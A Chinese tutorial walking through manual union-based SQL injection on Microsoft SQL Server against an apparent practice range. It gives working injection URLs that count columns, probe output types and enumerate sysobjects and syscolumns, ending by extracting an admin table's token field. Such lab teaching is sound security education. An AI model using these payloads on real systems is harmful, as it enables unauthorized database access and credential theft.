目錄
前言:
正文
0x01 mssql顯錯注入
1)猜字段
2)判斷回顯點
3)拓展
4)靶場實戰
①查詢表名
② 查詢字段
③查詢資料
文末
前言:
SQL Server資料庫是由Microsoft開發和推廣的關系資料庫管理系統(DBMS),是一個比較大型的資料庫。端口号為 1433。資料庫字尾名 .mdf,注釋符是 --+(注釋符一樣)
由于 mssql沒有去研究,這裡就介紹下手工注入的方法
正文
這裡會介紹 ms sql顯錯注入
然後再盲注,再反彈
0x01 mssql顯錯注入
以聯合查詢為例子,首先猜字段
然後聯合查詢,記住要寫成 union all
然後猜輸出點要使用 null 去填充
注釋符為 --+
select name from dbo.sysdatabases //查詢系統庫
sysobjects //查詢系統表 (xtype='U')
syscolumns 字段 (id=) 指定 sysobjects庫中對應id
1)猜字段
進入掌控 靶場

然後我們要先進行閉合,然後才 order by 排序
http://59.63.200.79:8015/?id=1' order by 3-- q
http://59.63.200.79:8015/?id=1' order by 4-- q
這時候發現,order by 3正常,order by 4錯誤。這時候判斷字段有 3個
2)判斷回顯點
根據報錯資訊,我們知道有news表,那麼就先寫一下是個什麼梗。構造個 payload
http://59.63.200.79:8015/?id=1' union select 1,2,3 from news-- q
這時候發現居然報錯了
其實因為 union all select 要加個all,mysql也可以加,如果重複的話也可以顯示
然後發現還是報錯
為什麼會報錯,因為資料類型問題,如果我們不知道是什麼資料類型的話
這裡的 1,2,3 可以寫成 null,null,null,然後構造payload,如下
這時候就發現了頁面回顯正常
http://59.63.200.79:8015/?id=1' union all select null,null,null from news-- q
這時候我們就要判斷輸出點的資料類型了,在第三個null換成 1
?id=1' union all select null,null,1 from news-- q
發現頁面報錯了, 那就繼續構造payload,把 1改成 字元串 'aaa' 。這時候發現頁面正常了,輸出位也出來了
?id=1' union all select null,null,'aaa' from news-- q
接下來就是查詢系統自帶庫,自帶庫中的表,表中的字段
庫名 -> 表名 -> 字段
3)拓展
①在MS SQL資料庫中查詢庫名 語句
這裡我使用某雲的一個,進行白嫖
然後使用 select*from dbo.sysdatabases
select*from 和mysql資料庫一樣,聯合查詢,然後dbo隻是個字首,就跟一般檔案名的字尾那樣的一個意思
然後 sys是系統,databases就是庫的意思
結合一下,就是 select * from dbo.sysdatabases
這時候發現有3個庫,前面2個是預設庫
最後一個是自己建立的一個庫
SQLServer資料庫有6個預設的庫,分别是4個系統資料庫:master 、model 、msdb 、tempdb,和2個其他資料庫:ReportServer、ReportServerTempDB。
其中,model和tempdb是預設沒有資料表的。
②在MS SQL資料庫中查詢表名 語句
這個查詢表的語句和 查詢庫的語句是一樣的,是以就不解釋了
objects是對象的意思,學過程式設計都知道
select*from dbo.sysobjects
這時候發現有77 條的資料,多的吓人~~~~~
這時候我們可以看一下特殊傳參
這時候我們發現 xtype這個特殊的傳參。我們可以指定一個條件 xtype='U'
select*from dbo.sysobjects where xtype='U'
其實可以了解成使用者建立的 表 U可以了解成 Ueser,但是這裡的 U要大寫
然後發現,成功的查詢到了一條資料,這個 hello 就是我剛剛建立的一個表
而 xtype='S' 其實就是sys系統的意思,就是系統預設的庫
③在MS SQL資料庫中查詢字段名 語句
這時候建構個查詢字段的語句,這時候發現又有好多的資料
幾百條,字段這邊也不可以使用 xtype了
select*from dbo.syscolumns
但是我們發現這個地方有個傳參,叫做 id
然後看下什麼的庫,發現hello 庫的 id為 245575913
這裡其實是個對應的關系
?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q
然後發現了這些字段分别為 a,b,c,d(因為我建立的時候是這樣命名的)
然後,我們進入靶場,看下要怎麼做
4)靶場實戰
這裡我們庫名就不糾結了,沒啥重要的
①查詢表名
這裡直接查詢表名,建構個payload
?id=1' union all select null,null,null from dbo.sysobjects where xtype='U' -- q
然後得判斷這3個的null,是個數字類型傳參,還是字元串類型
?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q
這個時候頁面前面的id出現了,變成了這樣子
那麼我們就可以把第一個null改為id
?id=1' union all select id,null,null from dbo.sysobjects where xtype='U' -- q
出現了id,這時候就可以再看下字段名是什麼
我們把第二個的null改為 name,就可以檢視了
如果第二個不可以,我們就可以把第三個的null 改為 name
這時候構造payload,成功的知道了表名和id了
?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- q
② 查詢字段
這時候我們就不需要id了,就把id改為null
然後我們是要查詢字段,使用syscolumns,再指定admin所對應的id。構造一個payload
?id=1' union all select null,name,null from dbo.syscolumns where id=1977058079 -- q
現在我們知道了字段名和表名,就可以查詢資料了
③查詢資料
知道了表和字段名,就可以查詢資料了
和MySQL資料庫的注入語句差不多, from amdin表中的
?id=1' union all select null,token,null from admin -- q
這就是ms sql資料庫的顯錯注入方式
文末:
沒啥難度的,了解一下mysql和 mssql資料庫的差別,以及特性,就比較容易懂了
還可以去看看這篇文章,個人覺得很全面
ms sql資料庫及注入方法